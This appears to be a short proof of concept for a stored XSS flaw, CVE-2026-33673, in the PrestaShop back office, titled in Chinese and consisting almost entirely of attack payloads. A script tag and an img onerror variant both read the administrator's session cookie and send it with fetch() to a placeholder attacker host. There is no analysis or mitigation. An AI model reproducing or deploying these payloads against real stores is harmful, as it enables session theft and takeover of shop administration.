CVE-2026-33673 PrestaShop后台存储型XSS漏洞

<!-- PoC for CVE-2026-33673 - PrestaShop Stored XSS Context: Injection into a vulnerable back-office field that is reflected in templates. --> <!-- Malicious payload to be stored in the database --> <script> // Example: Steal administrator session cookie var payload = document.cookie; var attackerUrl = 'http://attacker-server.com/log?c=' + encodeURIComponent(payload); fetch(attackerUrl); // Example: Perform an action as admin (e.g., create a new user) alert('XSS Executed in Back Office'); </script> <!-- Alternatively, using an image tag if script tags are filtered in some contexts --> <img src=x onerror="fetch('http://attacker-server.com/log?c='+document.cookie)">